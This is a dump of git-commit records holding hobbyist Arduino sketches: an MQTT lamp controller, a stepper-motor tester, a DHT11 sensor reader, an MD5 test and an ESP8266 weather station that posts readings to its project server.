}\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid callback(char* topic, byte* payload, unsigned int lent) {\n client.disconnect();\n Serial.print(\"Message arrived [\");\n Serial.print(topic);\n Serial.print(\"] \");\n for (int i = 0; i < lent; i++) {\n Serial.print((char)payload[i]);\n }\n Serial.println();\n Serial.print(\"Message length is: \");\n Serial.println(lent);\n\n char payloadString[lent];\n if (String(topic)==\"newDeviceAdd\") {\n for (int i = 0; i < lent; i++) {\n Serial.print((char)payload[i]);\n payloadString[i]=(char)payload[i];\n }\n Serial.println(\"\");\n Serial. println(\"new device message recvd\");\n redEEPromWrite(String(payloadString));\n Serial. println(\"Point ID written to EEPROM\");\n while (1){}\n \n }\n\n \/\/ Switch on the LED if an 1 was received as first character\n if ((char)payload[0] == '1') {\n digitalWrite(BUILTIN_LED, LOW); \/\/ Turn the LED on (Note that LOW is the voltage level\n \/\/ but actually the LED is on; this is because\n \/\/ it is acive low on the ESP-01)\n } else {\n digitalWrite(BUILTIN_LED, HIGH); \/\/ Turn the LED off by making the voltage HIGH\n }\n reconnect();\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid joinControlNet(){\n \/\/\n char pnt[pointID.length()];\n pointID.toCharArray(pnt,pointID.length()+1);\n client.unsubscribe(pnt);\n String payload = \"lamp\/\";\n redEEPromWrite(pointID);\n \n byte payloadBytes[payload.length()];\n payload.getBytes(payloadBytes,payload.length()+1);\n client.publish(\"newDevice\",payloadBytes ,payload.length() );\n Serial.print(\"Point ID is: \");\n Serial.println(pointID);\n Serial.println(client.subscribe(\"newDeviceAdd\"));\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid redEEPromWrite(String x){\n for (int i=0; i<4;i++){\n EEPROM.write(i, x[i]);\n }\n \n EEPROM.commit();\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid redEEPromRead(){\n for (int i=0; i<4;i++){\n red[i] = EEPROM.read(i);\n }\n \n EEPROM.commit();\n pointID=red;\n Serial.print(\"ID read from EEPROM is: \");\n Serial.println(red);\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid reconnect() {\n \/\/ Loop until we're reconnected\n Serial.println(\"Reconnecting MQTT...\");\n while (!client.connected()) {\n Serial.print(\"Attempting MQTT connection...\");\n char pnt[4];\n if (pointID.length()==0){\n pointID = \"Test\";\n }\n else{\n pointID.toCharArray(pnt,pointID.length()+1);\n \/\/client.subscribe(pnt);\n }\n \/\/ Create a random client ID\n String clientId = String(pointID);\n \/\/ Attempt to connect\n if (client.connect(clientId.c_str(),mqttUser, mqttPw)) {\n client.subscribe(pnt);\n Serial.println(\"connected\");\n Serial.print(\"subscribed to: \");\n Serial.println(pnt);\n Serial.print(\"with client ID: \");\n Serial.println(clientId);\n client.loop();\n Serial.print(\"MQTT Connection status: \");\n Serial.println(client.connected());\n delay(500);\n } else {\n Serial.print(\"failed, rc=\");\n Serial.print(client.state());\n Serial.println(\" try again in 5 seconds\");\n \/\/ Wait 5 seconds before retrying\n delay(5000);\n }\n }\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid setup() {\n Serial.begin(115200);\n EEPROM.begin(512);\n \/\/pinMode(0, INPUT);\n pinMode(4, INPUT);\n WiFi.begin();\n delay(1000);\n Serial.println(\"\");\n Serial.println(\"delay done\");\n Serial.println(digitalRead(4));\n if (digitalRead(4)==false)\n { \n Serial.println(\"button pressed at beginning\");\n delay(250);\n if (digitalRead(4)==false)setupAP();\n while(1){server.handleClient();delay(10);}\n \n }\n else{\n Serial.println(\"\"); \n redEEPromRead();\n Serial.println(\"\");\n Serial.print(\"point ID is: \");\n Serial.println(pointID);\n pinMode(BUILTIN_LED, OUTPUT); \/\/ Initialize the BUILTIN_LED pin as an output \n setup_wifi();\n client.setServer(mqtt_server, 1883);\n client.setCallback(callback);\n pinMode(0, INPUT);\n delay(1000);\n reconnect();}\n \n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid loop() {\n\n if (!client.connected() && (WiFi.status() == WL_CONNECTED)) {\n Serial.println(\"rwwwiaiau\");\n reconnect();\n }\n \n client.loop();\n \n if (digitalRead(0)==false)\n {\n Serial.println(\"button pressed\");\n delay(250);\n if (digitalRead(0)==false)joinControlNet();\n \n }\n\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mqttHA_Point_OnOff.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"d09ea3e2cf466e77b65a48218c9f11ac0da83e26","subject":"commented out Serial.print() commands","message":"commented out Serial.print() commands\n","repos":"utdrobotchess\/chess-game","old_file":"Embedded-Arduino\/Testing Programs\/_14_03_19_RecVelCmds\/_14_03_19_RecVelCmds.ino","new_file":"Embedded-Arduino\/Testing Programs\/_14_03_19_RecVelCmds\/_14_03_19_RecVelCmds.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Embedded-Arduino\/Testing' did not match any file(s) known to git\nerror: pathspec 'Programs\/_14_03_19_RecVelCmds\/_14_03_19_RecVelCmds.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"667373acec65b58729ced748ea31b853debfd1d0","subject":"it is spread cycle, stupid","message":"it is spread cycle, stupid\n","repos":"interactive-matter\/TMC26XStepper,trinamic\/TMC26XStepper,interactive-matter\/TMC26XStepper-Generator","old_file":"examples\/TMC262MotorTester\/Motor.ino","new_file":"examples\/TMC262MotorTester\/Motor.ino","new_contents":"unsigned int motor_counter = 0;\nunsigned char motor_moved = 0;\nint sgTreshold = 4;\nint sgFilter = 0;\nint direction = 1;\n\nchar chopperMode = 0; \/\/0 for spread, 1 for constant off\nchar t_off = 2;\nchar t_blank = 24;\nchar h_start = 8;\nchar h_end = 6;\nchar h_decrement = 0;\n\n\nvoid startMotor() {\n Serial.println(\"Configuring stepper driver\");\n \/\/char constant_off_time, char blank_time, char hysteresis_start, char hysteresis_end, char hysteresis_decrement\n tmc262Stepper.setSpreadCycleChopper(t_off,t_blank,h_start,h_end,h_decrement);\n tmc262Stepper.setRandomOffTime(0);\n\n tmc262Stepper.setMicrosteps(32);\n tmc262Stepper.setStallGuardTreshold(sgTreshold,sgFilter);\n \/\/ Serial.println(\"config finished, starting\");\n digitalWrite(ENABLE_PIN,LOW);\n tmc262Stepper.start();\n tmc262Stepper.setSpeed(10);\n TCNT2=setupTimer2(10000);\n sei();\n}\n\nvoid runMotor() {\n if (running && !tmc262Stepper.isMoving()) {\n tmc262Stepper.step(direction*10000);\n Serial.println(\"run\");\n }\n if (!running & tmc262Stepper.isMoving()) {\n tmc262Stepper.stop();\n Serial.println(\"stop\");\n }\n}\n\nvoid setSpeed(unsigned int targetSpeed) {\n if (targetSpeed>0 && targetSpeed<MAX_SPEED) {\n Serial.print(\"Setting speed: \"); \n Serial.println(targetSpeed);\n tmc262Stepper.setSpeed(targetSpeed);\n } \n else {\n Serial.print(\"improper speed \");\n Serial.println(targetSpeed);\n }\n}\n\nvoid setMicrostepping(int microstepping) {\n if (microstepping<1 || microstepping>256) {\n Serial.print(\"Improperd microstepping setting [1...256]: \");\n Serial.print(microstepping);\n } \n else {\n tmc262Stepper.setMicrosteps(microstepping);\n }\n}\n\nvoid setStallGuardTreshold(int treshold) {\n if (treshold<-64 || treshold > 63) {\n Serial.print(\"Improper Stall Guard Treshold [-64...63]: \");\n Serial.println(treshold);\n } \n else {\n sgTreshold = treshold;\n tmc262Stepper.setStallGuardTreshold(treshold,sgFilter);\n }\n}\n\nvoid setStallGuardFilter(int filter) {\n if (filter) {\n sgFilter=1;\n } \n else {\n sgFilter=0;\n }\n tmc262Stepper.setStallGuardTreshold(sgTreshold,sgFilter);\n}\n\nvoid setCurrent(int current) {\n if (current>0 && current <1700) {\n tmc262Stepper.setCurrent(current);\n } \n else {\n Serial.print(\"Improper current {0 ... 1200}: \");\n Serial.print(current);\n }\n}\n\n\/\/from http:\/\/www.uchobby.com\/index.php\/2007\/11\/24\/arduino-interrupts\/\n\/\/Setup Timer2.s\n\/\/Configures the ATMega168 8-Bit Timer2 to generate an interrupt\n\/\/at the specified frequency.\n\/\/Returns the timer load value which must be loaded into TCNT2\n\/\/inside your ISR routine.\n\/\/See the example usage below.\nunsigned char setupTimer2(float timeoutFrequency){\n unsigned char result; \/\/The timer load value.\n\n \/\/Calculate the timer load value\n result=(int)((257.0-(TIMER_CLOCK_FREQ\/timeoutFrequency))+0.5);\n \/\/The 257 really should be 256 but I get better results with 257.\n\n \/\/Timer2 Settings: Timer Prescaler \/8, mode 0\n \/\/Timer clock = 16MHz\/8 = 2Mhz or 0.5us\n \/\/The \/8 prescale gives us a good range to work with\n \/\/so we just hard code this for now.\n TCCR2A = 0;\n TCCR2B = 0<<CS22 | 1<<CS21 | 0<<CS20;\n\n \/\/Timer2 Overflow Interrupt Enable\n TIMSK2 = 1<<TOIE2;\n\n \/\/load the timer for its first cycle\n TCNT2=result;\n\n return(result);\n}\n\nISR(TIMER2_OVF_vect) {\n motor_moved = tmc262Stepper.move();\n motor_counter++;\n\n}\n\n\n","old_contents":"unsigned int motor_counter = 0;\nunsigned char motor_moved = 0;\nint sgTreshold = 4;\nint sgFilter = 0;\nint direction = 1;\n\nchar chopperMode = 0; \/\/0 for spread, 1 for constant off\nchar t_off = 2;\nchar t_blank = 24;\nchar fast_decay = 8;\nchar wave_offset = 6;\nchar comparator = 0;\n\n\nvoid startMotor() {\n Serial.println(\"Configuring stepper driver\");\n \/\/char constant_off_time, char blank_time, char hysteresis_start, char hysteresis_end, char hysteresis_decrement\n tmc262Stepper.setSpreadCycleChopper(t_off,t_blank,fast_decay,wave_offset,comparator);\n tmc262Stepper.setRandomOffTime(0);\n\n tmc262Stepper.setMicrosteps(32);\n tmc262Stepper.setStallGuardTreshold(sgTreshold,sgFilter);\n \/\/ Serial.println(\"config finished, starting\");\n digitalWrite(ENABLE_PIN,LOW);\n tmc262Stepper.start();\n tmc262Stepper.setSpeed(10);\n TCNT2=setupTimer2(10000);\n sei();\n}\n\nvoid runMotor() {\n if (running && !tmc262Stepper.isMoving()) {\n tmc262Stepper.step(direction*10000);\n Serial.println(\"run\");\n }\n if (!running & tmc262Stepper.isMoving()) {\n tmc262Stepper.stop();\n Serial.println(\"stop\");\n }\n}\n\nvoid setSpeed(unsigned int targetSpeed) {\n if (targetSpeed>0 && targetSpeed<MAX_SPEED) {\n Serial.print(\"Setting speed: \"); \n Serial.println(targetSpeed);\n tmc262Stepper.setSpeed(targetSpeed);\n } \n else {\n Serial.print(\"improper speed \");\n Serial.println(targetSpeed);\n }\n}\n\nvoid setMicrostepping(int microstepping) {\n if (microstepping<1 || microstepping>256) {\n Serial.print(\"Improperd microstepping setting [1...256]: \");\n Serial.print(microstepping);\n } \n else {\n tmc262Stepper.setMicrosteps(microstepping);\n }\n}\n\nvoid setStallGuardTreshold(int treshold) {\n if (treshold<-64 || treshold > 63) {\n Serial.print(\"Improper Stall Guard Treshold [-64...63]: \");\n Serial.println(treshold);\n } \n else {\n sgTreshold = treshold;\n tmc262Stepper.setStallGuardTreshold(treshold,sgFilter);\n }\n}\n\nvoid setStallGuardFilter(int filter) {\n if (filter) {\n sgFilter=1;\n } \n else {\n sgFilter=0;\n }\n tmc262Stepper.setStallGuardTreshold(sgTreshold,sgFilter);\n}\n\nvoid setCurrent(int current) {\n if (current>0 && current <1700) {\n tmc262Stepper.setCurrent(current);\n } \n else {\n Serial.print(\"Improper current {0 ... 1200}: \");\n Serial.print(current);\n }\n}\n\n\/\/from http:\/\/www.uchobby.com\/index.php\/2007\/11\/24\/arduino-interrupts\/\n\/\/Setup Timer2.s\n\/\/Configures the ATMega168 8-Bit Timer2 to generate an interrupt\n\/\/at the specified frequency.\n\/\/Returns the timer load value which must be loaded into TCNT2\n\/\/inside your ISR routine.\n\/\/See the example usage below.\nunsigned char setupTimer2(float timeoutFrequency){\n unsigned char result; \/\/The timer load value.\n\n \/\/Calculate the timer load value\n result=(int)((257.0-(TIMER_CLOCK_FREQ\/timeoutFrequency))+0.5);\n \/\/The 257 really should be 256 but I get better results with 257.\n\n \/\/Timer2 Settings: Timer Prescaler \/8, mode 0\n \/\/Timer clock = 16MHz\/8 = 2Mhz or 0.5us\n \/\/The \/8 prescale gives us a good range to work with\n \/\/so we just hard code this for now.\n TCCR2A = 0;\n TCCR2B = 0<<CS22 | 1<<CS21 | 0<<CS20;\n\n \/\/Timer2 Overflow Interrupt Enable\n TIMSK2 = 1<<TOIE2;\n\n \/\/load the timer for its first cycle\n TCNT2=result;\n\n return(result);\n}\n\nISR(TIMER2_OVF_vect) {\n motor_moved = tmc262Stepper.move();\n motor_counter++;\n\n}\n\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"d0030308e595bf791a2e9854eca4a3cd3f7d336a","subject":"Create Templete.ino","message":"Create Templete.ino","repos":"SirenCreatorTeam\/Siren_Zwei","old_file":"Arduino\/Templete.ino","new_file":"Arduino\/Templete.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/SirenCreatorTeam\/Siren_Zwei.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"f2b1558d4b574b6b3a66216922422ec2bd44a5d2","subject":"Example with two DHT11 Sensors","message":"Example with two DHT11 Sensors\n\nExamples with two DHT11 Sensors. Wiring is also documented here:\r\n\r\nhttps:\/\/github.com\/santosomar\/arduinoTempHumidity","repos":"winlinvip\/SimpleDHT","old_file":"examples\/TwoSensorsDefault\/santosomarTwoSensors.ino","new_file":"examples\/TwoSensorsDefault\/santosomarTwoSensors.ino","new_contents":"#include <SimpleDHT.h>\n\n\/\/ Created by santosomar \u03a9r using SimpleDHT library to read data from two DHT11 sensors\n\/\/ for DHT11, \n\/\/ VCC: 5V or 3V\n\/\/ GND: GND\n\/\/ SENSOR 1 is in Digital Data pin: 2\n\/\/ SENSOR 1 is in Digital Data pin: 2\n\nint dataPinSensor1 = 2;\nint dataPinSensor2 = 4;\nSimpleDHT11 dht11;\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ Reading data from sensor 1...\n Serial.println(\"=================================\");\n\n \/\/ Reading data from sensor 1...\n Serial.println(\"Getting data from sensor 1...\");\n \n \/\/ read without samples.\n byte temperature = 0;\n byte humidity = 0;\n if (dht11.read(dataPinSensor1, &temperature, &humidity, NULL)) {\n Serial.print(\"Communication error with Sensor 1\");\n return;\n }\n\n \/\/ converting Celsius to Fahrenheit\n\n byte f = temperature * 1.8 + 32; \n Serial.print(\"Sample OK: \");\n Serial.print((int)temperature); Serial.print(\" *C, \"); \n Serial.print((int)f); Serial.print(\" *F, \"); \n Serial.print((int)humidity); Serial.println(\" % humidity\");\n\n\n \/\/ Reading data from sensor 2...\n \/\/ ============================\n\n Serial.println(\"Getting data from sensor 2...\");\n\n byte temperature2 = 0;\n byte humidity2 = 0;\n if (dht11.read(dataPinSensor2, &temperature2, &humidity2, NULL)) {\n Serial.print(\"Communication error with sensor 2\");\n return;\n }\n\n \/\/ converting Celsius to Fahrenheit\n\n byte fb = temperature2 * 1.8 + 32;\n \n Serial.print(\"Sample OK: \");\n Serial.print((int)temperature); Serial.print(\" *C, \"); \n Serial.print((int)fb); Serial.print(\" *F, \"); \n Serial.print((int)humidity2); Serial.println(\" % humidity\");\n\n\n \n \/\/ DHT11 sampling rate is 1HZ.\n delay(1500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/TwoSensorsDefault\/santosomarTwoSensors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8af5a729a3bcf1cb3c4c4db9608389211dc3c79c","subject":"Testing the MD5 library","message":"Testing the MD5 library\n","repos":"zach-king\/ArduinoStash,zach-king\/ArduinoStash","old_file":"src\/md5_test\/md5_test.ino","new_file":"src\/md5_test\/md5_test.ino","new_contents":"#include <MD5.h>\n\n\nchar *key = \"sharedkey\";\nint keyLen;\nint32_t id = 0xa0;\nint8_t dlc = 2;\nchar *data = \"a1f2\";\nint dataLen;\n\nvoid setup()\n{\n Serial.begin(115200);\n uint8_t *newKey = CStringToUInt8(key, keyLen);\n uint8_t *newMessage = HexToUInt8(data, dataLen);\n\n SendAuthMessages();\n}\n\nvoid loop()\n{\n \n}\n\n\nvoid SendAuthMessages()\n{\n \/\/ Convert to uint8_t\n uint8_t *theKey = CStringToUInt8(key, keyLen);\n uint8_t *theMessage = HexToUInt8(data, dataLen);\n\n \/\/ Concatenate into one full message\n uint8_t *fullMessage = new uint8_t[keyLen + dataLen + 1];\n for(int i = 0; i < dataLen; i++)\n fullMessage[i] = theMessage[i]; \n for(int i = 0; i < keyLen; i++)\n fullMessage[i + dataLen] = theKey[i];\n\n \/\/ Print the whole, unhashsed message\n for(int i = 0; i < (keyLen + dataLen); i++)\n {\n if (fullMessage[i] < 0x10)\n Serial.print('0');\n Serial.print(fullMessage[i], HEX);\n Serial.print(' ');\n }\n Serial.println();\n}\n\n\nuint8_t *HexToUInt8(char *hexStr, int &len)\n{\n len = strlen(hexStr);\n uint8_t *buf = new uint8_t[len];\n int bufIndex = 0;\n\n \/\/ Convert each pair of chars (a byte)\n for (int i = 0; i < len; i+=2)\n {\n buf[bufIndex] = CharToUInt8(hexStr[i]) * 16;\n buf[bufIndex] += CharToUInt8(hexStr[i+1]);\n bufIndex++;\n }\n len = len \/ 2;\n \n return buf;\n}\n\n\nuint8_t *CStringToUInt8(char *str, int &len)\n{\n len = strlen(str);\n uint8_t *buf = new uint8_t[len];\n\n for(int i = 0; i < len; i++)\n {\n \/\/ store and convert from ASCII to integer value\n buf[i] = (uint8_t)str[i];\n }\n\n return buf;\n}\n\nuint8_t CharToUInt8(char ch)\n{\n uint8_t value = ch;\n if (ch >= '0' && ch <= '9')\n value -= '0';\n else if (ch >= 'a' && ch <= 'f')\n value = (ch - 'a') + 10;\n else\n value = (ch - 'A') + 10;\n return value;\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/md5_test\/md5_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b6d9749e11e75977d36be4d8d33ff9f5a5c9955c","subject":"test of WifiMgr library - AP mode is flakey :(","message":"test of WifiMgr library - AP mode is flakey :(","repos":"ValleyCommunityWorkspace\/indoor-weather-station-v1,ValleyCommunityWorkspace\/indoor-weather-station-v1,ValleyCommunityWorkspace\/indoor-weather-station-v1","old_file":"SimpleClientDHTSSLWIFIMGR.ino","new_file":"SimpleClientDHTSSLWIFIMGR.ino","new_contents":"\n\/* WeMos DHT Server\n *\n * Connect to WiFi and respond to http requests with temperature and humidity\n *\n * Based on Adafruit ESP8266 Temperature \/ Humidity Webserver\n * https:\/\/learn.adafruit.com\/esp8266-temperature-slash-humidity-webserver\n *\n * Depends on Adafruit DHT Arduino library\n * https:\/\/github.com\/adafruit\/DHT-sensor-library\n *\/\n\n#include <ESP8266WiFi.h>\n#include <WiFiClientSecure.h>\n#include <DHT.h>\n\n\/\/WiFiManager\n#include <DNSServer.h>\n#include <ESP8266WebServer.h>\n#include <WiFiManager.h> \n#include <Ticker.h>\nTicker ticker;\n\n\n#define DHTTYPE DHT22 \/\/ DHT Shield uses DHT 11\n#define DHTPIN D4 \/\/ DHT Shield uses pin D4\n\nconst char* DEVNAME = \"\"; const char* ISSUEID = \"\"; const char* ssid = \"\"; const char* password = \"\"; \/\/\n\n\nvoid tick()\n{\n \/\/toggle state\n int state = digitalRead(BUILTIN_LED); \/\/ get the current state of GPIO1 pin\n digitalWrite(BUILTIN_LED, !state); \/\/ set pin to the opposite state\n}\n\n\/\/gets called when WiFiManager enters configuration mode\nvoid configModeCallback (WiFiManager *myWiFiManager) {\n Serial.println(\"Entered config mode\");\n Serial.println(WiFi.softAPIP());\n \/\/if you used auto generated SSID, print it\n Serial.println(myWiFiManager->getConfigPortalSSID());\n \/\/entered config mode, make led toggle faster\n ticker.attach(0.2, tick);\n}\n\n\n\n\n\nIPAddress server(120,138,27,109);\n\n\/\/ Initialize DHT sensor\n\/\/ Note that older versions of this library took an optional third parameter to\n\/\/ tweak the timings for faster processors. This parameter is no longer needed\n\/\/ as the current DHT reading algorithm adjusts itself to work on faster procs.\nDHT dht(DHTPIN, DHTTYPE);\n\nfloat humidity, temperature; \/\/ Raw float values from the sensor\nchar str_humidity[10], str_temperature[10]; \/\/ Rounded sensor values and as strings\n\n\/\/ Generally, you should use \"unsigned long\" for variables that hold time\nunsigned long previousMillis = 0; \/\/ When the sensor was last read\nconst long interval = 5000; \/\/ Wait this long until reading again\nunsigned long lastConnectionTime = 0; \/\/ last time you connected to the server, in milliseconds\nenum WiFiStateEnum { DOWN, STARTING, UP } ;\nWiFiStateEnum WiFiState = DOWN;\nunsigned long WiFiStartTime = 0;\n\nvoid read_sensor() {\n \/\/ Wait at least 2 seconds seconds between measurements.\n \/\/ If the difference between the current time and last time you read\n \/\/ the sensor is bigger than the interval you set, read the sensor.\n \/\/ Works better than delay for things happening elsewhere also.\n unsigned long currentMillis = millis();\n\n if (currentMillis - previousMillis >= interval) {\n \/\/ Save the last time you read the sensor\n previousMillis = currentMillis;\n\n \/\/ Reading temperature and humidity takes about 250 milliseconds!\n \/\/ Sensor readings may also be up to 2 seconds 'old' (it's a very slow sensor)\n humidity = dht.readHumidity(); \/\/ Read humidity as a percent\n temperature = dht.readTemperature(); \/\/ Read temperature as Celsius\n\n \/\/ Check if any reads failed and exit early (to try again).\n if (isnan(humidity) || isnan(temperature)) {\n Serial.println(\"Failed to read from DHT sensor!\");\n return;\n }\n\n \/\/ Convert the floats to strings and round to 2 decimal places\n dtostrf(humidity, 1, 2, str_humidity);\n dtostrf(temperature, 1, 2, str_temperature);\n\n Serial.print(\"Humidity: \");\n Serial.print(str_humidity);\n Serial.print(\" %\\t\");\n Serial.print(\"Temperature: \");\n Serial.print(str_temperature);\n Serial.println(\" \u00b0C\");\n }\n}\n\nvoid WiFiEvent(WiFiEvent_t event) {\n Serial.printf(\"[WiFi-event] event: %d\\n\", event);\n\n switch(event) {\n case WIFI_EVENT_STAMODE_GOT_IP:\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n WiFiState = UP;\n break;\n case WIFI_EVENT_STAMODE_DISCONNECTED:\n WiFiState = DOWN;\n Serial.println(\"WiFi lost connection\");\n break;\n }\n}\n\nvoid WifiTryUp() {\n \/\/ delete old config\n\n WiFi.disconnect(true);\n\n delay(1000);\n\n\n\n WiFi.begin(ssid, password);\n\n Serial.println();\n Serial.println();\n Serial.println(\"Wait for WiFi... \");\n\n}\n\n\nunsigned long _ESP_id;\nvoid setup(void)\n{\n \/\/ Open the Arduino IDE Serial Monitor to see what the code is doing\n Serial.begin(115200);\n dht.begin();\n\n Serial.println(\"WeMos DHT Server\");\n _ESP_id = ESP.getChipId(); \/\/ uint32 -> unsigned long on arduino\n Serial.println(_ESP_id,HEX);\n Serial.println(\"\");\n\n WiFi.onEvent(WiFiEvent);\n\n \/\/ Initial read\n read_sensor();\n\n}\n\nvoid loop(void)\n{\n delay(1000);\n read_sensor();\n \n if (WiFiState == UP) { httpsRequest(temperature,humidity); }\n\n \/\/ Connect to your WiFi network\n if (WiFiState == DOWN) {\n WifiTryUp();\n WiFiState = STARTING;\n WiFiStartTime = millis();\n }\n if (WiFiState == STARTING) {\n if (millis() - WiFiStartTime > 30000) { WiFiState = DOWN; Serial.println(\"WiFi Connect Timeout\"); }\n }\n\n\n}\n\n\n\n\n\/\/ this method makes a HTTP connection to the server:\nvoid httpRequest(float temp, float humid) {\n\n \/\/ Use WiFiClient class to create TCP connections\n WiFiClient client;\n const int httpPort = 80;\n if (!client.connect(server, httpPort)) {\n Serial.println(\"connection failed\");\n return;\n }\n \n String url = \"\/updateweatherstation.php?action=updateraw\";\n url += \"&devid=\";\n url += String(_ESP_id,HEX);\n url += \"&devname=\";\n url += DEVNAME;\n url += \"&issueid=\";\n url += ISSUEID;\n url += \"&dateutc=now&indoortemp=\";\n url += temp;\n url += \"&indoorhumidity=\";\n url += humid;\n \n \n Serial.print(\"Requesting URL: \");\n Serial.println(url);\n \n \/\/ This will send the request to the server\n client.print(String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + \"www.shac.org.nz\" + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\");\n unsigned long timeout = millis();\n while (client.available() == 0) {\n delay(10);\n if (millis() - timeout > 5000) {\n Serial.println(\">>> Client Timeout !\");\n client.stop();\n return;\n }\n }\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n String line = client.readStringUntil('\\r');\n Serial.print(line);\n }\n \n Serial.println();\n Serial.println(\"closing connection\"); \n\n \/\/ note the time that the connection was made:\n lastConnectionTime = millis();\n \n}\n\n\n\n\/\/ Use web browser to view and copy\n\/\/ SHA1 fingerprint of the certificate\nconst char* fingerprint = \"CF 05 98 89 CA FF 8E D8 5E 5C E0 C2 E4 F7 E6 C3 C7 50 DD 5C\";\n\n\/\/ this method makes a HTTP connection to the server:\nvoid httpsRequest(float temp, float humid) {\n\n \/\/ Use WiFiClientSecure class to create TLS connection\n WiFiClientSecure client;\n Serial.print(\"connecting HTTPS \");\n Serial.println(server);\n if (!client.connect(server, 443)) {\n Serial.println(\"connection failed\");\n return;\n }\n\n if (client.verify(fingerprint, \"www.shac.org.nz\")) {\n Serial.println(\"certificate matches\");\n } else {\n Serial.println(\"certificate doesn't match\");\n }\n\n \/\/ We now create a URI for the request\n String url = \"\/updateweatherstation.php?action=updateraw\";\n url += \"&devid=\";\n url += String(_ESP_id,HEX);\n url += \"&devname=\";\n url += DEVNAME;\n url += \"&issueid=\";\n url += ISSUEID;\n url += \"&dateutc=now&indoortemp=\";\n url += temp;\n url += \"&indoorhumidity=\";\n url += humid;\n \n \n \n Serial.print(\"Requesting URL: \");\n Serial.println(url);\n \n \/\/ This will send the request to the server\n client.print(String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + \"www.shac.org.nz\" + \"\\r\\n\" + \n \"User-Agent: indoor-wx-v0.1\" + \"\\r\\n\" +\n \"Connection: close\\r\\n\\r\\n\");\n\n Serial.println(\"request sent\");\n\n \/\/delay(100);\n\n\/* \n Serial.print(\"01\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"02\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"03\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"04\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"05\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"06\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"07\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"08\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"09\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"10\"); 